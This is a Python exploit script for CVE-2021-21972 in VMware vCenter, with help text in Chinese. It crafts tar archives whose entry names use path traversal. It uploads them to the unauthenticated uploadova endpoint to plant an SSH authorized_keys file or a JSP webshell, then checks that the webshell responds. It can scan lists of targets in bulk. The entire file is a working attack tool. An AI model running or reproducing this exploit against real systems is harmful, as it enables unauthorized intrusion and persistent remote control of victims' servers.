import requests
import tarfile
import sys
import getopt
requests.packages.urllib3.disable_warnings()


proxy = {}

def payload_linux(filename, payload_type):
	payload_path = '../../home/vsphere-ui/.ssh/authorized_keys' if payload_type=='ssh' else '../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/%d/0/h5ngc.war/resources/test.jsp'
	payload_tar = tarfile.open('payload_linux.tar','w')
	for i in range(106):
		payload_tar.add(filename, arcname=payload_path % i)
	payload_tar.close()

def payload_win(filename):
	payload_path = '../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/test.jsp'
	payload_tar = tarfile.open('payload_win.tar','w')
	payload_tar.add(filename, arcname=payload_path)
	payload_tar.close()

def send_payload(target, payload_type):
	url = (target + '/ui/vropspluginui/rest/services/uploadova').replace('//ui', '/ui')
	files = {'uploadFile': ('1.tar', open('payload_linux.tar', 'rb'), 'application/octet-stream')}
	web = requests.post(url, files=files,verify=False,proxies=proxy)
	if web.status_code == 200:
		if web.text == 'SUCCESS':
			if payload_type == 'ssh':
				print('\t文件写入成功')
		if payload_type != 'ssh':
			webshell = (target + '/ui/resources/test.jsp').replace('//ui', '/ui')
			web = requests.get(webshell,verify=False,proxies=proxy)
			if web.status_code != 404:
				print('\twebshell地址：%s' % webshell)
				return True
	files = {'uploadFile': ('1.tar', open('payload_win.tar', 'rb'), 'application/octet-stream')}
	web = requests.post(url, files=files,verify=False,proxies=proxy)
	if web.status_code == 200:
		if web.text == 'SUCCESS':
			print('\t文件写入成功')
			webshell = (target + '/statsreport/test.jsp').replace('//statsreport', '/statsreport')
			web = requests.get(webshell,verify=False,proxies=proxy)
			if web.status_code != 404:
				print('\twebshell地址：%s' % webshell)
				return True
	return False

def help():
	print(
	"""
	Usage:CVE-2021-21972.py [option]
	-u or --url：目标url
	-t or --type：Payload类型（ssh/webshell)
	-f or --file：要上传的文件（webshell或authorized_keys）	例如：CVE-2021-21972.py -u https://127.0.0.1 -t webshell -f shell.jsp
	-p or --proxy：设置代理	例如：CVE-2021-21972.py -u https://127.0.0.1 -t webshell -f shell.jsp -p http://127.0.0.1:8080
	-l or --list：批量检测	例如：CVE-2021-21972.py -l list.txt -t webshell -f shell.jsp
	"""
    )

if __name__ == "__main__":
	if len(sys.argv) == 1:
		help()
		sys.exit()

	try:
		opts, args = getopt.getopt(sys.argv[1:], "l:u:t:f:p:")
	except getopt.GetoptError:
		print("argv error,please input")
	targets = []
	payload_type = ''
	filename = ''
	for opt, arg in opts:
		if opt in ('-p', '--proxy'):
			proxy = {arg[:arg.find(':')]: arg}
	for opt, arg in opts:
		if opt in ('-l', '--list'):
			with open(arg, 'r') as t:
				for u in t.read().split('\n'):
					targets.append(u)
		elif opt in ('-u', '--url'):
			targets.append(arg)
	for opt, arg in opts:
		if opt in ('-t', '--type'):
			payload_type = arg
	for opt, arg in opts:
		if opt in ('-f', '--file'):
			filename = arg
	payload_linux(filename, payload_type)
	if payload_type != 'ssh':
		payload_win(filename)
	for target in targets:
		print('-' * 50)
		print('正在检测%s...' % target)
		if send_payload(target, payload_type):
			continue			
		print('Failed')




